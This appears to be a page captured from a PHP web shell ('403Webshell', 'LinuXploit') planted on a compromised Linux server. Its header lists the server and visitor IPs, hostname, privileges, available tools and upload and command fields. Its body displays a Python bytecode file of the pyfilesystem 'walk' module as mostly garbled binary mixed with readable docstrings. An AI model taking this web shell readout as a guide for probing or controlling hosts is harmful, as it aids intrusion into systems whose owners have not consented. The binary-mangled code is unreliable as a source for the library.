403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.156
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/fs/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/fs/__pycache__/walk.cpython-310.pyc
o

�Q`�j�@s8dZddlmZddlZddlmZddlmZddlmZddlm	Z	dd	l
mZdd
lm
Z
ddlmZddlmZejrkdd
lmZmZmZmZmZmZmZmZmZmZddlmZddlmZeeege fZ!ej"ddd�Z#edd�Z$	Gdd�de%�Z&Gdd�dej'e#�Z(e&�Z)e)j*Z*e)j+Z,e)jZ-e)j.Z/dS)z�Machinery for walking a filesystem.

*Walking* a filesystem means recursively visiting a directory and
any sub-directories. It is a fairly common requirement for copying,
searching etc. See :ref:`walking` for details.
�)�unicode_literalsN)�defaultdict)�deque)�
namedtuple�)�	make_repr)�FSError)�abspath)�combine)�normpath)
�Any�Callable�
Collection�Iterator�List�Optional�MutableMapping�Text�Tuple�Type)�FS)�Info�_Fr)�bound�Stepzpath, dirs, filescs�eZdZdZ								d,�fdd�	Zedd��Zed	d
��Zedd��Zed
d��Z	dd�Z
	d-dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Z	d-dd�Z		d.d d!�Zd/d"d#�Zd/d$d%�Z		d.d&d'�Z	d-d(d)�Z	d-d*d+�Z�ZS)0�Walkera�A walker object recursively lists directories in a filesystem.

    Arguments:
        ignore_errors (bool): If `True`, any errors reading a
            directory will be ignored, otherwise exceptions will
            be raised.
        on_error (callable, optional): If ``ignore_errors`` is `False`,
            then this callable will be invoked for a path and the exception
            object. It should return `True` to ignore the error, or `False`
            to re-raise it.
        search (str): If ``'breadth'`` then the directory will be
            walked *top down*. Set to ``'depth'`` to walk *bottom up*.
        filter (list, optional): If supplied, this parameter should be
            a list of filename patterns, e.g. ``['*.py']``. Files will
            only be returned if the final component matches one of the
            patterns.
        exclude (list, optional): If supplied, this parameter should be
            a list of filename patterns, e.g. ``['~*']``. Files matching
            any of these patterns will be removed from the walk.
        filter_dirs (list, optional): A list of patterns that will be used
            to match directories paths. The walk will only open directories
            that match at least one of these patterns.
        exclude_dirs (list, optional): A list of patterns that will be
            used to filter out directories from the walk. e.g.
            ``['*.svn', '*.git']``.
        max_depth (int, optional): Maximum directory depth to walk.

    FN�breadthc		s�|dvrtd��||_|r|rtd��n|r|jn|j}t|�s$td��||_||_||_||_	||_
||_||_t
t|���dS)N)r�depthz#search must be 'breadth' or 'depth'z,on_error is invalid when ignore_errors==Truezon_error must be callable)�
ValueError�
ignore_errors�_ignore_errors�
_raise_errors�callable�	TypeError�on_error�search�filter�exclude�filter_dirs�exclude_dirs�	max_depth�superr�__init__)	�selfrr$r%r&r'r(r)r*��	__class__��)/usr/lib/python3/dist-packages/fs/walk.pyr,Rs$�zWalker.__init__cC�dS)zDefault on_error callback.Tr0��cls�path�errorr0r0r1r r�zWalker._ignore_errorscCr2)z%Callback to re-raise dir scan errors.Fr0r3r0r0r1r!xr7zWalker._raise_errorscCs |�d�}|r|�d�dSdS)zRCalculate the 'depth' of a directory path (number of
        components).
        �/rr)�strip�count)r4r5�_pathr0r0r1�_calculate_depth~s
zWalker._calculate_depthcCst|�S)aBind a `Walker` instance to a given filesystem.

        This *binds* in instance of the Walker to a given filesystem, so
        that you won't need to explicitly provide the filesystem as a
        parameter.

        Arguments:
            fs (FS): A filesystem object.

        Returns:
            ~fs.walk.BoundWalker: a bound walker.

        Example:
            >>> from fs import open_fs
            >>> from fs.walk import Walker
            >>> home_fs = open_fs('~/')
            >>> walker = Walker.bind(home_fs)
            >>> for path in walker.files(filter=['*.py']):
            ...     print(path)

        Unless you have written a customized walker class, you will be
        unlikely to need to call this explicitly, as filesystem objects
        already have a ``walk`` attribute which is a bound walker
        object.

        Example:
            >>> from fs import open_fs
            >>> home_fs = open_fs('~/')
            >>> for path in home_fs.walk.files(filter=['*.py']):
            ...     print(path)

        )�BoundWalker)r4�fsr0r0r1�bind�s#zWalker.bindcCsNt|jj|jdf|jdf|jdf|jdf|jdf|jdf|j	df|j
dfd�	S)NFr)rr$r%r&r'r(r)r*)rr/�__name__rr$r%r&r'r(r)r*�r-r0r0r1�__repr__�s�zWalker.__repr__cCs*|jdkr
|j|||d�S|j|||d�S)zGet the walk generator.r��
namespaces)r%�
_walk_breadth�_walk_depth)r-r>r5rDr0r0r1�
_iter_walk�s
zWalker._iter_walkcCsJ|jdur|�|j|j�rdS|jdur|�|j|j�sdS|�|||�S)z?Check if a directory should be considered in the walk.
        NF)r)�match�namer(�check_open_dir�r-r>r5�infor0r0r1�_check_open_dir�s
zWalker._check_open_dircCr2)adCheck if a directory should be opened.

        Override to exclude directories from the walk.

        Arguments:
            fs (FS): A filesystem instance.
            path (str): Path to directory.
            info (Info): A resource info object for the directory.

        Returns:
            bool: `True` if the directory should be opened.

        Tr0rKr0r0r1rJ�szWalker.check_open_dircCs&|jdur||jkrdS|�|||�S)z0Check if a directory contents should be scanned.NF)r*�check_scan_dir)r-r>r5rLrr0r0r1�_check_scan_dir�szWalker._check_scan_dircCr2)a�Check if a directory should be scanned.

        Override to omit scanning of certain directories. If a directory
        is omitted, it will appear in the walk but its files and
        sub-directories will not.

        Arguments:
            fs (FS): A filesystem instance.
            path (str): Path to directory.
            info (Info): A resource info object for the directory.

        Returns:
            bool: `True` if the directory should be scanned.

        Tr0rKr0r0r1rN�szWalker.check_scan_dircCs.|jdur|�|j|j�rdS|�|j|j�S)aCheck if a filename should be included.

        Override to exclude files from the walk.

        Arguments:
            fs (FS): A filesystem instance.
            info (Info): A resource info object.

        Returns:
            bool: `True` if the file should be included.

        NF)r'rHrIr&)r-r>rLr0r0r1�
check_file�szWalker.check_filec
csX�z|j||d�D]}|Vq	WdSty+}z|�||�s �WYd}~dSd}~ww)a�Get an iterator of `Info` objects for a directory path.

        Arguments:
            fs (FS): A filesystem instance.
            dir_path (str): A path to a directory on the filesystem.
            namespaces (list): A list of additional namespaces to
                include in the `Info` objects.

        Returns:
            ~collections.Iterator: iterator of `Info` objects for
            resources within the given path.

        rCN)�scandirrr$)r-r>�dir_pathrDrLr6r0r0r1�_scans�����zWalker._scanr8ccs��tt|��}tt�}|j|||d�}|D]/\}}|dur=g}	g}
||D]}|jr,|	n|
�|�q%t||	|
�V||=q||�|�qdS)a\Walk the directory structure of a filesystem.

        Arguments:
            fs (FS): A filesystem instance.
            path (str): A path to a directory on the filesystem.
            namespaces (list, optional): A list of additional namespaces
                to add to the `Info` objects.

        Returns:
            collections.Iterator: an iterator of `~fs.walk.Step` instances.

        The return value is an iterator of ``(<path>, <dirs>, <files>)``
        named tuples,  where ``<path>`` is an absolute path to a
        directory, and ``<dirs>`` and ``<files>`` are a list of
        `~fs.info.Info` objects for directories and files in ``<path>``.

        Example:
            >>> home_fs = open_fs('~/')
            >>> walker = Walker(filter=['*.py'])
            >>> namespaces = ['details']
            >>> for path, dirs, files in walker.walk(home_fs, namespaces)
            ...    print("[{}]".format(path))
            ...    print("{} directories".format(len(dirs)))
            ...    total = sum(info.size for info in files)
            ...    print("{} bytes {}".format(total))

        rCN)r	rr�listrG�is_dir�appendr)r-r>r5rDr;�dir_info�_walkrRrL�dirs�files�_infor0r0r1�walk*s�"�zWalker.walkccs>�t}|j||d�D]\}}|dur|js|||j�Vq
dS)aDWalk a filesystem, yielding absolute paths to files.

        Arguments:
            fs (FS): A filesystem instance.
            path (str): A path to a directory on the filesystem.

        Yields:
            str: absolute path to files on the filesystem found
            recursively within the given directory.

        �r5N�r
rGrUrI�r-r>r5�_combiner;rLr0r0r1rZZ��
��zWalker.filesccs>�t}|j||d�D]\}}|dur|jr|||j�Vq
dS)aPWalk a filesystem, yielding absolute paths to directories.

        Arguments:
            fs (FS): A filesystem instance.
            path (str): A path to a directory on the filesystem.

        Yields:
            str: absolute path to directories on the filesystem found
            recursively within the given directory.

        r]Nr^r_r0r0r1rYlrazWalker.dirsccsB�t}|j|||d�}|D]\}}|dur|||j�|fVq
dS)a�Walk a filesystem, yielding tuples of ``(<path>, <info>)``.

        Arguments:
            fs (FS): A filesystem instance.
            path (str): A path to a directory on the filesystem.
            namespaces (list, optional): A list of additional namespaces
                to add to the `Info` objects.

        Yields:
            (str, Info): a tuple of ``(<absolute path>, <resource info>)``.

        �r5rDN)r
rGrI)r-r>r5rDr`rXr;rLr0r0r1rL~s���zWalker.infoccs��t|g�}|j}|j}t}|j}|j}	|j}
|j}|j}|	|�}
|ri|�}||||d�D]2}|j	rU|	|�|
d}|
|||�rT||fV|||||�rT||||j
��q-|||�r_||fVq-|dfV|s#dSdS)z3Walk files using a *breadth first* search.
        rCrN)r�
appendleft�popr
rSr<rMrOrPrUrI)r-r>r5rD�queue�pushrdr`rSr<rMrO�_check_filerrRrL�_depthr0r0r1rE�s4�
	
�

�
�zWalker._walk_breadthccs�t}|j}|j}|j}|j}|j}	||�}
|||||d�dfg}|j}|r�|d\}
}}t|d�}|durF|dur=|V|
dfV|d=n=|jry||
�|
d}|||
|�rx|||
||�rs||
|j	�}||||||d�|
|ff�n|
|fVn
|	||�r�|
|fV|s&dSdS)z1Walk files using a *depth first* search.
        rCN���r)
r
rSr<rMrOrPrV�nextrUrI)r-r>r5rDr`rSr<rMrOrgr�stackrfrR�
iter_files�parentrLrhr;r0r0r1rF�sF��

��
�

�zWalker._walk_depth)FNrNNNNN�N�r8N�r8)r@�
__module__�__qualname__�__doc__r,�classmethodr r!r<r?rBrGrMrJrOrNrPrSr\rZrYrLrErF�
__classcell__r0r0r.r1r4sR� 



$
�


�
�
0

�
�(�rc@s`eZdZdZefdd�Zdd�Zdd�Z			dd
d�ZeZ	ddd
�Z
ddd�Z			ddd�Zd	S)r=a�A class that binds a `Walker` instance to a `FS` instance.

    Arguments:
        fs (FS): A filesystem instance.
        walker_class (type): A `~fs.walk.WalkerBase`
            sub-class. The default uses `~fs.walk.Walker`.

    You will typically not need to create instances of this class
    explicitly. Filesystems have a `~FS.walk` property which returns a
    `BoundWalker` object.

    Example:
        >>> import fs
        >>> home_fs = fs.open_fs('~/')
        >>> home_fs.walk
        BoundWalker(OSFS('/Users/will', encoding='utf-8'))

    A `BoundWalker` is callable. Calling it is an alias for
    `~fs.walk.BoundWalker.walk`.

    cCs||_||_dSrn)r>�walker_class)r-r>rvr0r0r1r,s
zBoundWalker.__init__cCsd�|j�S)NzBoundWalker({!r}))�formatr>rAr0r0r1rBszBoundWalker.__repr__cOs|j|i|��}|S)z"Create a walker instance.
        )rv)r-�args�kwargs�walkerr0r0r1�_make_walkerszBoundWalker._make_walkerr8NcK�"|jdi|��}|j|j||d�S)a7
Walk the directory structure of a filesystem.

        Arguments:
            path (str):
            namespaces (list, optional): A list of namespaces to include
                in the resource information, e.g. ``['basic', 'access']``
                (defaults to ``['basic']``).

        Keyword Arguments:
            ignore_errors (bool): If `True`, any errors reading a
                directory will be ignored, otherwise exceptions will be
                raised.
            on_error (callable): If ``ignore_errors`` is `False`, then
                this callable will be invoked with a path and the exception
                object. It should return `True` to ignore the error, or
                `False` to re-raise it.
            search (str): If ``'breadth'`` then the directory will be
                walked *top down*. Set to ``'depth'`` to walk *bottom up*.
            filter (list): If supplied, this parameter should be a list
                of file name patterns, e.g. ``['*.py']``. Files will only be
                returned if the final component matches one of the
                patterns.
            exclude (list, optional): If supplied, this parameter should be
                a list of filename patterns, e.g. ``['~*', '.*']``. Files matching
                any of these patterns will be removed from the walk.
            filter_dirs (list, optional): A list of patterns that will be used
                to match directories paths. The walk will only open directories
                that match at least one of these patterns.
            exclude_dirs (list): A list of patterns that will be used
                to filter out directories from the walk, e.g. ``['*.svn',
                '*.git']``.
            max_depth (int, optional): Maximum directory depth to walk.

        Returns:
            ~collections.Iterator: an iterator of ``(<path>, <dirs>, <files>)``
            named tuples,  where ``<path>`` is an absolute path to a
            directory, and ``<dirs>`` and ``<files>`` are a list of
            `~fs.info.Info` objects for directories and files in ``<path>``.

        Example:
            >>> home_fs = open_fs('~/')
            >>> walker = Walker(filter=['*.py'])
            >>> for path, dirs, files in walker.walk(home_fs, namespaces=['details']):
            ...     print("[{}]".format(path))
            ...     print("{} directories".format(len(dirs)))
            ...     total = sum(info.size for info in files)
            ...     print("{} bytes {}".format(total))

        This method invokes `Walker.walk` with bound `FS` object.

        rbNr0)r{r\r>�r-r5rDryrzr0r0r1r\s:zBoundWalker.walkcK� |jdi|��}|j|j|d�S)aAWalk a filesystem, yielding absolute paths to files.

        Arguments:
            path (str): A path to a directory.

        Keyword Arguments:
            ignore_errors (bool): If `True`, any errors reading a
                directory will be ignored, otherwise exceptions will be
                raised.
            on_error (callable): If ``ignore_errors`` is `False`, then
                this callable will be invoked with a path and the exception
                object. It should return `True` to ignore the error, or
                `False` to re-raise it.
            search (str): If ``'breadth'`` then the directory will be
                walked *top down*. Set to ``'depth'`` to walk *bottom up*.
            filter (list): If supplied, this parameter should be a list
                of file name patterns, e.g. ``['*.py']``. Files will only be
                returned if the final component matches one of the
                patterns.
            exclude (list, optional): If supplied, this parameter should be
                a list of filename patterns, e.g. ``['~*', '.*']``. Files matching
                any of these patterns will be removed from the walk.
            filter_dirs (list, optional): A list of patterns that will be used
                to match directories paths. The walk will only open directories
                that match at least one of these patterns.
            exclude_dirs (list): A list of patterns that will be used
                to filter out directories from the walk, e.g. ``['*.svn',
                '*.git']``.
            max_depth (int, optional): Maximum directory depth to walk.

        Returns:
            ~collections.Iterator: An iterator over file paths (absolute
            from the filesystem root).

        This method invokes `Walker.files` with the bound `FS` object.

        r]Nr0)r{rZr>�r-r5ryrzr0r0r1rZUs'zBoundWalker.filescKr~)auWalk a filesystem, yielding absolute paths to directories.

        Arguments:
            path (str): A path to a directory.

        Keyword Arguments:
            ignore_errors (bool): If `True`, any errors reading a
                directory will be ignored, otherwise exceptions will be
                raised.
            on_error (callable): If ``ignore_errors`` is `False`, then
                this callable will be invoked with a path and the exception
                object. It should return `True` to ignore the error, or
                `False` to re-raise it.
            search (str): If ``'breadth'`` then the directory will be
                walked *top down*. Set to ``'depth'`` to walk *bottom up*.
            filter_dirs (list, optional): A list of patterns that will be used
                to match directories paths. The walk will only open directories
                that match at least one of these patterns.
            exclude_dirs (list): A list of patterns that will be used
                to filter out directories from the walk, e.g. ``['*.svn',
                '*.git']``.
            max_depth (int, optional): Maximum directory depth to walk.

        Returns:
            ~collections.Iterator: an iterator over directory paths
            (absolute from the filesystem root).

        This method invokes `Walker.dirs` with the bound `FS` object.

        r]Nr0)r{rYr>rr0r0r1rYs zBoundWalker.dirscKr|)aWalk a filesystem, yielding path and `Info` of resources.

        Arguments:
            path (str): A path to a directory.
            namespaces (list, optional): A list of namespaces to include
                in the resource information, e.g. ``['basic', 'access']``
                (defaults to ``['basic']``).

        Keyword Arguments:
            ignore_errors (bool): If `True`, any errors reading a
                directory will be ignored, otherwise exceptions will be
                raised.
            on_error (callable): If ``ignore_errors`` is `False`, then
                this callable will be invoked with a path and the exception
                object. It should return `True` to ignore the error, or
                `False` to re-raise it.
            search (str): If ``'breadth'`` then the directory will be
                walked *top down*. Set to ``'depth'`` to walk *bottom up*.
            filter (list): If supplied, this parameter should be a list
                of file name patterns, e.g. ``['*.py']``. Files will only be
                returned if the final component matches one of the
                patterns.
            exclude (list, optional): If supplied, this parameter should be
                a list of filename patterns, e.g. ``['~*', '.*']``. Files matching
                any of these patterns will be removed from the walk.
            filter_dirs (list, optional): A list of patterns that will be used
                to match directories paths. The walk will only open directories
                that match at least one of these patterns.
            exclude_dirs (list): A list of patterns that will be used
                to filter out directories from the walk, e.g. ``['*.svn',
                '*.git']``.
            max_depth (int, optional): Maximum directory depth to walk.

        Returns:
            ~collections.Iterable: an iterable yielding tuples of
            ``(<absolute path>, <resource info>)``.

        This method invokes `Walker.info` with the bound `FS` object.

        rbNr0)r{rLr>r}r0r0r1rL�s/zBoundWalker.infororp)
r@rqrrrsrr,rBr{r\�__call__rZrYrLr0r0r0r1r=�s	
�=

*%�r=)0rs�
__future__r�typing�collectionsrrr�_reprr�errorsrr5r	r
r�
TYPE_CHECKINGrr
rrrrrrrr�baserrLr�	Exception�bool�OnError�TypeVarrr�objectr�Genericr=�default_walkerr\rZ�
walk_files�	walk_inforY�	walk_dirsr0r0r0r1�<module>s<0
>k


Youez - 2016 - github.com/yon3zu
LinuXploit